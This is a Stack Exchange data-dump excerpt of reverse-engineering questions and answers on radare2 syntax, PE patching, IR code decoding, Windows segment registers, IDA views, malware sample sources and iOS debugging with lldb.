  <row Id="9265" PostTypeId="1" AcceptedAnswerId="9266" CreationDate="2015-07-01T10:01:51.913" Score="1" ViewCount="1359" Body="&lt;p&gt;Recently I faced with strange (in my opinion) behavior of radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been reading the &lt;a href=&quot;https://dustri.org/b/defeating-crackme03-with-radare2.html&quot; rel=&quot;nofollow&quot;&gt;Artificial truth&lt;/a&gt; blog post about &lt;a href=&quot;http://hackingbits.github.io/blog/crackme-03/&quot; rel=&quot;nofollow&quot;&gt;Hacking bits&lt;/a&gt; with this &lt;a href=&quot;https://github.com/geyslan/crackmes/blob/master/src/crackme.03.asm&quot; rel=&quot;nofollow&quot;&gt;crackme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an article Julien used &lt;strong&gt;&lt;em&gt;Intel&lt;/em&gt;&lt;/strong&gt; syntax,&#xA;but I choose &lt;strong&gt;&lt;em&gt;AT&amp;amp;T&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I started disassemble crackme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 ./crackme.03.32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set syntax to intel, block size to 10 bytes and seek to needed address and print disassemble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00010020]&amp;gt; e asm.syntax = intel&#xA;[0x00010020]&amp;gt; b 10&#xA;[0x00010020]&amp;gt; s 0x0010112&#xA;[0x00010112]&amp;gt; pd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       0x00010112    80f2ac         xor dl, 0xac&#xA;       0x00010115    eb02           jmp 0x10119&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I changed syntax to ATT:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00010112]&amp;gt; e asm.syntax = att&#xA;[0x00010112]&amp;gt; pd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I received that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       0x00010112    80f2ac         xorb $-0x54, %dl&#xA;       0x00010115    eb02           jmp 0x10119&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;https://github.com/geyslan/crackmes/blob/master/src/crackme.03.asm#L159&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; of crackme we can find that value of argument is 0xac &lt;em&gt;(xor dl, 0xac)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;So, actually, question:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Why &lt;strong&gt;80 f2 ac&lt;/strong&gt; translate to the same opcodes, but with different arguments for AT&amp;amp;T and Intel syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Why 0xac became -0x54?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -version&#xA;radare2 0.10.0-git 8247 @ linux-little-x86-64 git.0.9.9-148-gd5f2661&#xA;commit: d5f2661cbe1a32bc26490bd7a1864ef45907aaea build: 2015-06-26&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12810" LastEditorUserId="18698" LastEditDate="2017-12-16T16:48:09.937" LastActivityDate="2017-12-16T16:48:09.937" Title="AT&amp;T XOR argument at radare2" Tags="|radare2|disassemblers|crackme|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9266" PostTypeId="2" ParentId="9265" CreationDate="2015-07-01T11:30:08.567" Score="1" Body="&lt;p&gt;It was signed and unsigned question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to change the signedness is by negating it, which is NOTing all bits of that number and incrementing it by 1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; 256 - (~(-0x54)+1)&#xA;172&#xA;&amp;gt;&amp;gt;&amp;gt; hex(172)&#xA;'0xac'&#xA;&amp;gt;&amp;gt;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12810" LastActivityDate="2015-07-01T11:30:08.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9268" PostTypeId="2" ParentId="2394" CreationDate="2015-07-01T16:33:46.260" Score="3" Body="&lt;p&gt;You can do it using Sark (&lt;a href=&quot;https://github.com/tmr232/Sark&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt;, &lt;a href=&quot;http://sark.readthedocs.org/en/latest/index.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sark&#xA;&#xA;# Get the segment&#xA;segment = sark.Segment(ea=0x00400000)&#xA;&#xA;# Set the permissions&#xA;segment.permissions.write = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I am the author of Sark.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-07-01T16:33:46.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9269" PostTypeId="1" AcceptedAnswerId="9270" CreationDate="2015-07-01T18:02:06.647" Score="1" ViewCount="2164" Body="&lt;p&gt;I have a PE which I'd like to edit. I know I can create patches in OllyDbg and similar tools, but they all have one thing in common: I have to overwrite some present code in file. I wonder if it is possible to somehow enlarge the executable, put the code in the appended part, and then just change a few instructions in original part to &lt;code&gt;jmp&lt;/code&gt; to the new part? I searched over the Internet, but I haven't found an obvious solution (well, some propose writing code in NOP sections, but my code i longer than the longest of them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the PE is 64-bit, so the solution must work for this architecture.&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2015-07-01T18:12:40.290" Title="How to add code to Portable Executable?" Tags="|pe|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9270" PostTypeId="2" ParentId="9269" CreationDate="2015-07-01T18:12:40.290" Score="2" Body="&lt;p&gt;Yes, you can add a new section to your PE file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;High-level instructions at &lt;a href=&quot;http://www.woodmann.com/fravia/covert1.htm&quot; rel=&quot;nofollow&quot;&gt;Adding sections to PE Files&lt;/a&gt; and low-level instructions at &lt;a href=&quot;http://www.codeproject.com/Articles/12532/Inject-your-code-to-a-Portable-Executable-file&quot; rel=&quot;nofollow&quot;&gt;Inject your code to a Portable Executable file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-01T18:12:40.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9271" PostTypeId="1" CreationDate="2015-07-01T20:00:27.613" Score="2" ViewCount="229" Body="&lt;p&gt;I captured infrared codes from an air conditioner remote to realize each code contains the entire state (i.e. temperature, mode, fan speed, etc.) every time a button is pressed. I believe this is so if one or more button press are missed the system remains in sync (ex.: hide the IR emitter and press the temp up a few times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now instead of capturing every possible combination by cycling through all the modes and options and pressing all the buttons one by one I thought it might be wiser to try to understand the logic behind managing the state myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are some codes captured in the same mode/fan speed. Only the temperature, on/off and louver function were triggered. I divided bits to isolate the groups I could identify.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First group appears to be constant across and includes an init code showing as &quot;2&quot; (the constant sections below may contain other settings like mode/fan speed which were not captured)&lt;/li&gt;&#xA;&lt;li&gt;Second group is the power button (on-20/off-20 is the on/off button pressed at 20 degrees)&lt;/li&gt;&#xA;&lt;li&gt;Third group is constant&lt;/li&gt;&#xA;&lt;li&gt;Fourth group is the temperature truncated at 4 bits (and the bits are reversed - I am assuming endianess)&lt;/li&gt;&#xA;&lt;li&gt;Fifth group is constant&lt;/li&gt;&#xA;&lt;li&gt;Sixth group is the louver on/off (3 bits)&lt;/li&gt;&#xA;&lt;li&gt;Seventh group is constant&lt;/li&gt;&#xA;&lt;li&gt;Eighth group appears to be a checksum (not sure)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think it should be trivial enough identifying each group but what I am not sure about is the last group which appears to be a checksum, but what kind of checksum, and a checksum of which group?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*FUNC********* *1***************************************** 2 *3*********** *4** *5***** *6* *7******************************** *8******&#xA;16:            2001110110010110010011011011111111111111111 0 1101100111111 0000 1111111 111 1111111111111111111111111111111111 00101101&#xA;17:            2001110110010110010011011011111111111111111 0 1101100111111 1000 1111111 111 1111111111111111111111111111111111 10101101&#xA;18:            2001110110010110010011011011111111111111111 0 1101100111111 0100 1111111 111 1111111111111111111111111111111111 01101101&#xA;19:            2001110110010110010011011011111111111111111 0 1101100111111 1100 1111111 111 1111111111111111111111111111111111 11101101&#xA;20:            2001110110010110010011011011111111111111111 0 1101100111111 0010 1111111 111 1111111111111111111111111111111111 00011101&#xA;21:            2001110110010110010011011011111111111111111 0 1101100111111 1010 1111111 111 1111111111111111111111111111111111 10011101&#xA;22:            2001110110010110010011011011111111111111111 0 1101100111111 0110 1111111 111 1111111111111111111111111111111111 01011101&#xA;23:            2001110110010110010011011011111111111111111 0 1101100111111 1110 1111111 111 1111111111111111111111111111111111 11011101&#xA;24:            2001110110010110010011011011111111111111111 0 1101100111111 0001 1111111 111 1111111111111111111111111111111111 00111101&#xA;25:            2001110110010110010011011011111111111111111 0 1101100111111 1001 1111111 111 1111111111111111111111111111111111 10111101&#xA;26:            2001110110010110010011011011111111111111111 0 1101100111111 0101 1111111 111 1111111111111111111111111111111111 01111101&#xA;27:            2001110110010110010011011011111111111111111 0 1101100111111 1101 1111111 111 1111111111111111111111111111111111 11111101&#xA;28:            2001110110010110010011011011111111111111111 0 1101100111111 0011 1111111 111 1111111111111111111111111111111111 00000011&#xA;29:            2001110110010110010011011011111111111111111 0 1101100111111 1011 1111111 111 1111111111111111111111111111111111 10000011&#xA;30:            2001110110010110010011011011111111111111111 0 1101100111111 0111 1111111 111 1111111111111111111111111111111111 01000011&#xA;&#xA;ON-20:         2001110110010110010011011011111111111111111 0 1101100111111 0010 1111111 111 1111111111111111111111111111111111 00011101&#xA;OFF-20:        2001110110010110010011011011111111111111111 1 1101100111111 0010 1111111 111 1111111111111111111111111111111111 00111101&#xA;&#xA;LOUVER-ON-20:  2001110110010110010011011011111111111111111 0 1101100111111 0010 1111111 000 1111111111111111111111111111111111 00000001&#xA;LOUVER-OFF-20: 2001110110010110010011011011111111111111111 0 1101100111111 0010 1111111 111 1111111111111111111111111111111111 00011101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12920" LastEditorUserId="12920" LastEditDate="2015-07-01T20:23:39.663" LastActivityDate="2015-07-01T20:23:39.663" Title="Decoding A/C IR Codes" Tags="|functions|machine-code|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9272" PostTypeId="2" ParentId="8783" CreationDate="2015-07-01T23:13:38.307" Score="1" Body="&lt;p&gt;For this packer, I have successfully used this script by VolX: &lt;a href=&quot;https://tuts4you.com/download.php?view.3519&quot; rel=&quot;nofollow&quot;&gt;ASProtect 1.3x - 2.xx Unpacker v1.15F&lt;/a&gt;.  You still need an external tool for the IAT reconstruction (I mostly use Scylla), but the script provides all the parameters required.&lt;/p&gt;&#xA;" OwnerUserId="12873" LastEditorUserId="12873" LastEditDate="2015-07-02T18:51:31.320" LastActivityDate="2015-07-02T18:51:31.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9273" PostTypeId="1" AcceptedAnswerId="9274" CreationDate="2015-07-02T06:33:39.730" Score="0" ViewCount="1601" Body="&lt;p&gt;I can access the FS:[0h] which points to the SEH chain but cannot do the same for other segment registers.What is the reason for it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also,I was debugging an exe which has PTRD at 0x600 and AEP at 0x1000 (same as PTRD) but at offset 0x400 I see some instructions which I have seen in some other files too. In my sample it is unreachable code,but in one test exe which I wrote using WINASM/MASM it was same sequence of instructions just had a bit more instruction .If I change the AEP to 400 the assembly is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00400400    6A 00           PUSH 0  &#xA;00400402    68 05304000     PUSH 00403005  &#xA;00400407    68 00304000     PUSH 00403000  &#xA;0040040C    6A 00           PUSH 0  &#xA;0040040E    E8 17040000     CALL 0040082A  &#xA;00400413    6A 00           PUSH 0  &#xA;00400415    E8 16040000     CALL 00400830  &#xA;0040041A    E8 17040000     CALL 00400836  &#xA;0040041F    E8 1E040000     CALL 00400842  &#xA;00400424    E8 13040000     CALL 0040083C  &#xA;00400429    C3              RETN     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wrote a Hello world program in MASM which had AEP at 0x1000 the code seems similar but  I can debug it  i.e it is not unreachable/dead code like previous one.It is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401000    6A 00           PUSH 0                                   &#xA;00401002    68 00304000     PUSH OFFSET 00403000                     &#xA;00401007    68 06304000     PUSH OFFSET 00403006                     &#xA;0040100C    6A 00           PUSH 0                                   &#xA;0040100E    E8 0D000000     CALL &amp;lt;JMP.&amp;amp;user32.MessageBoxA&amp;gt;           &#xA;00401013    A3 14304000     MOV DWORD PTR DS:[403014],EAX&#xA;00401018    33C0            XOR EAX,EAX&#xA;0040101A    50              PUSH EAX                                 &#xA;0040101B    E8 06000000     CALL &amp;lt;JMP.&amp;amp;kernel32.ExitProcess&amp;gt;         &#xA;00401020    FF25 08204000   JMP DWORD PTR DS:[&amp;lt;&amp;amp;user32.MessageBoxA&amp;gt;]&#xA;00401026    FF25 00204000   JMP DWORD PTR DS:[&amp;lt;&amp;amp;kernel32.ExitProcess &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is how come code is coming in my sample at offset 0x400,what is the use of this code ,is there some compiler which is putting it out there?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:Its a virus sample and I am a starter.Thanks for the answers in advance...&lt;/p&gt;&#xA;" OwnerUserId="11879" LastActivityDate="2015-07-03T04:51:49.047" Title="Why can I access FS:[0] in OllyDbg but not offsets to CS,DS,SS?" Tags="|ollydbg|malware|windbg|patch-reversing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostTypeId="2" ParentId="9273" CreationDate="2015-07-02T07:05:17.040" Score="5" Body="&lt;p&gt;In Windows, the total space the process is intended to see is the same in the CS, DS, and SS registers. Windows makes the executable file, as well as any DLLs, open files, allocated memory segments, etc. into this address range, and you'll see the same memory - and the same contents - no matter if you access cs:[something], ds:[something] or ss:[something]*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a 32 bit system, the reachable memory in this &quot;big space&quot; is 4 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FS is different; it's a separate part of memory outside your normal address space. You can't access that memory using either of the normal registers. And its size is only a few bytes - you can't access FS:[100000h], for example, as the PEB isn't that big.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to the linear 4 GB space: the fact that 4 GB are &quot;reachable&quot; comes from 32 bit pointers (2^32); but it doesn't mean every address within that range is actually mapped to physical memory. Whenever windows needs a chunk of memory, it selects an address within that space, maps physical memory to it, and uses that memory. For example, when an executable gets loaded, windows will always** load it to &lt;code&gt;400000h&lt;/code&gt; . This is why your program starts at &lt;code&gt;401000h&lt;/code&gt; - your entry point of &lt;code&gt;1000h&lt;/code&gt;  is relative to the load address, not to 0. Or, when windows loads a DLL, it will start with &lt;code&gt;80000000&lt;/code&gt;, adjust that value down to below other DLLs, randomize it a bit (for ASLR), and use that address. If your DLL has an entry point at &lt;code&gt;1000h&lt;/code&gt;, and gets loaded at &lt;code&gt;63000000h&lt;/code&gt;, execution will start at &lt;code&gt;63001000h&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact you can't access cs:[0] or ds:[0] is on purpose - windows doesn't map anything to the first bytes of the address space to make your program crash (technically: throw an execption) if it tries to access memory through a NULL pointer. This is, as well, the reason why executables get loaded higher in memory, you don't want a null pointer access to ever succeed accidentally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing to consider is &lt;em&gt;how&lt;/em&gt; windows loads PE files - instead of parsing the file, and copying only the regions to memory that are actually used, it just slurps in the whole file to the start address***. Which means, the PE header gets loaded right to the load address. The pseudo code you've seen is just a part of the PE header that happens to be at offset &lt;code&gt;400h&lt;/code&gt; in your PE file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To become familiar with memory layout of the &quot;big&quot; cs/ds/ss segment, i recommend the &lt;code&gt;vmmap&lt;/code&gt; tool from the sysinternals collection; attach it to some running processes and check their memory map. The details will probably become much more clear from that than from any theoretical explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) However, depending on access rights, you may not be allowed to write to those parts of this space that are mapped to code, or execute those parts that are mapped to data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(**) for a somewhat fuzzy definition of always, the details aren't important right now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(***) Technically, it memory maps the file and relies on the paging subsystem to read it from disk, but again, this isn't important right now.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-07-02T07:10:54.550" LastActivityDate="2015-07-02T07:10:54.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9275" PostTypeId="2" ParentId="9273" CreationDate="2015-07-02T08:24:46.997" Score="2" Body="&lt;p&gt;executable code might start as low as base+0x2b0 if the linker switch /ALIGN:16 is used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VoTq4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;edit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;the dead code could be a function that was compiled and linked but never called  if you modufy the src above like this and compile the first call to messagebox will be available in the binary but no one will be referring it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment(lib , &quot;user32.lib&quot;)&#xA;void deadcode(void)&#xA;{&#xA;  MessageBox(0,&quot;iam dead&quot;,&quot;yep deady dead deady dead&quot;,0);&#xA;}&#xA;void main (void) {&#xA;  MessageBoxA(0,&quot;disme to see me low&quot;,&#xA;  &quot;using align 16 and merge sections iam slim(e)y&quot;,&#xA;  0);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the dead code that was never referenced but still exists &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;cdb -c &quot;x msgbox!*;q&quot; msgbox.exe | grep main&#xA;004002d0 msgbox!main (void)&#xA;&#xA;&amp;gt;cdb -c &quot;u msgbox+2d0-20;q&quot; msgbox.exe | grep -A 4 55&#xA;004002b0 55              push    ebp&#xA;004002b1 8bec            mov     ebp,esp&#xA;004002b3 6a00            push    0&#xA;004002b5 680c024000      push    offset msgbox!⌂USER32_NULL_THUNK_DATA+0x28 (004&#xA;0020c)&#xA;004002ba 6828024000      push    offset msgbox!⌂USER32_NULL_THUNK_DATA+0x44 (004&#xA;00228)&#xA;&#xA;&amp;gt;cdb -c &quot;da msgbox+20c;q&quot; msgbox.exe | grep dead&#xA;0040020c  &quot;yep deady dead deady dead&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-07-03T04:51:49.047" LastActivityDate="2015-07-03T04:51:49.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9276" PostTypeId="1" CreationDate="2015-07-02T17:28:09.623" Score="1" ViewCount="1567" Body="&lt;p&gt;When I define data as a structure with IDAPython, it appears in IDA View in a collapsed view. Out of curiosity, &lt;strong&gt;is it possible to &lt;em&gt;programmatically&lt;/em&gt; expand the view of the structure?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I run &lt;code&gt;MakeStructEx(0x400000, -1, &quot;IMAGE_DOS_HEADER&quot;)&lt;/code&gt;, I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_DOS_HEADER &amp;lt;5A4Dh, 90h, 3, 0, 4, 0, 0FFFFh, 0, 0B8h, 0, 0, 0, \&#xA;                  40h, 0, 0, 0, 0, 0, 0E0h&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I would like to see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dw 5A4D                ; e_magic&#xA;dw 90h                 ; e_cblp&#xA;dw 3                   ; e_cp&#xA;dw 0                   ; e_crlc&#xA;... (lines removed) ...&#xA;dd 0E0h                ; e_lfanew&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using IDA 6.2.&lt;/p&gt;&#xA;" OwnerUserId="207" LastActivityDate="2016-01-27T08:29:15.240" Title="Can I expand the view of a structure in IDAPython?" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9277" PostTypeId="1" AcceptedAnswerId="9278" CreationDate="2015-07-03T02:38:16.377" Score="2" ViewCount="2638" Body="&lt;p&gt;I am new user of IDA Pro. The version I am using is 6.8 demo.&#xA;I know conceptions of program segmentation and segment register. &#xA;But, I am confused about why there are two views, &quot;Program Segmentation&quot; and &quot;Segment register&quot;&#xA;Belew is snapshot of program segmentation view.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZPdXd.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Belew is snapshot of program register view&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eMa0z.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;As we can see the information of two views is almost duplicated.&lt;/p&gt;&#xA;" OwnerUserId="8124" LastActivityDate="2015-07-03T06:58:19.107" Title="What's the use of &quot;Segments Registers&quot; sub view of IDA Pro?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9278" PostTypeId="2" ParentId="9277" CreationDate="2015-07-03T06:58:19.107" Score="8" Body="&lt;p&gt;This was interesting when DOS was the operating system of choice, processors had 16 bits, and programs were larger than 64 KB. Those times, the content of segment registers changed a lot; programs had to use far jumps (that changed CS and IP) to jump to addresses more than 64 KB away, and they had to load a value into DS or ES first to access large data segments (or load &lt;code&gt;0x0040&lt;/code&gt; into ES to access BIOS data structures and have access to the 'high resolution timer' which changed 18.2 times a second).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part of the disassembly of an old 16 bit program:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nc3PN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that there are three segment changes that change the assumption of IDA about the contents of the segments, and another one at &lt;code&gt;25EB&lt;/code&gt; where &lt;code&gt;ES&lt;/code&gt; is 'changed' to &lt;code&gt;seg130&lt;/code&gt;, which isn't really a change, so there's no &lt;code&gt;assume&lt;/code&gt; directive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the corresponding segment registers view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bh5wy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in which &lt;code&gt;15412&lt;/code&gt; corresponds to &lt;code&gt;seg001:25B2&lt;/code&gt;; if you click on that row in IDA, the program view will jump to that address. The following 3 'change points' correspond to the next addresses where the code actually changes a segment register value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those days, programs contained several code segments, and several data segments, so the program segmentation view had a lot to show as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/opPEb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you see there are many &lt;code&gt;CODE&lt;/code&gt; segments and many &lt;code&gt;UNK&lt;/code&gt;nown segments, only a small part of the whole program is shown. Each of these &lt;code&gt;CODE&lt;/code&gt; segments used a different value for &lt;code&gt;CS&lt;/code&gt;, which is why IDA creates a new segment register change entry for each new segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days, unless you're disassembling kernel code, you won't see segment register changes at all, and even if you're disassembling the kernel, you'll have one code segment and one data segment, not many of them. So IDA just creates one segment from each section of the input file, and creates the corresponding change points, but there's no change point except the ones that are created for the segments. Which is why the views correspond to each other, and which is also why you're not interested in either of them in most cases.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-03T06:58:19.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9279" PostTypeId="1" AcceptedAnswerId="9282" CreationDate="2015-07-03T11:14:22.057" Score="2" ViewCount="7216" Body="&lt;p&gt;There have been numerous sites stated in this wonderful &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;post&lt;/a&gt; that one could retrieve malware samples. However, I am having a difficult time (sorry D:) locating Linux-specific malware from those sites as mostly are samples for Windows (I think). Where can I find and download these Linux samples that I seek?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, this is for learning to create ClamAV and YARA signatures.&lt;/p&gt;&#xA;" OwnerUserId="8336" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2020-11-16T01:58:17.057" Title="Where can I get Linux malware samples?" Tags="|malware|linux|elf|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9280" PostTypeId="1" CreationDate="2015-07-03T12:03:10.687" Score="1" ViewCount="881" Body="&lt;p&gt;I'm trying to create .pat file with IDA Flair tools, but it skips all the functions.&#xA;Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pelf.exe tier0.lib tier0.pat&#xA;tier0.lib: skipped 395, total 395&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried other tools like pcf and plb and it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my input file: &lt;a href=&quot;http://www.mediafire.com/download/xk2gxp9ja8hm00v/tier0.lib&quot; rel=&quot;nofollow&quot;&gt;http://www.mediafire.com/download/xk2gxp9ja8hm00v/tier0.lib&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;" OwnerUserId="12931" LastEditorUserId="12931" LastEditDate="2015-07-03T12:34:11.543" LastActivityDate="2020-09-30T04:02:54.570" Title="IDA Flair all functions skipped when creating .pat file" Tags="|ida|tools|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9281" PostTypeId="1" AcceptedAnswerId="12262" CreationDate="2015-07-03T12:30:00.010" Score="2" ViewCount="1206" Body="&lt;p&gt;So, its been very interesting to reverse engineer an iOS application and I have made significant improvement into learning how to read disassembly and understand them. Now I was trying to debug the iOS app using lldb debugserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to attach my system to my jailbroken ipad running the gdb server and hooked it to one of the running process. Now the problem is, that the executable has no symbols (or at least lldb is telling me that). But when I tried to disassemble it in IDA Pro and Hopper, I was able to get all the objective-c classes and functions names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, one of the function that is being used is HMACWithSecret which has the signature -[NSString(HMAC) HMACWithSecret:]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to set a break point from lldb using the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b -[NSString(HMAC) HMACWithString:]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or any other variant&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b HMACWithSecret:&#xA;b HMACWithSecret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It fails to find a location for the same. I know that in objective-c every call is made via objc_msgSend with arguments about which function to call. But if i want to set a breakpoint in the above function (or any other I reveal via Hopper/IDA Pro) what should I do? &lt;/p&gt;&#xA;" OwnerUserId="12905" LastActivityDate="2021-05-20T09:12:30.907" Title="Setting Breakpoints at functions decoded by Hopper/IDA Pro in an iOS app" Tags="|ida|ios|hopper|lldb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
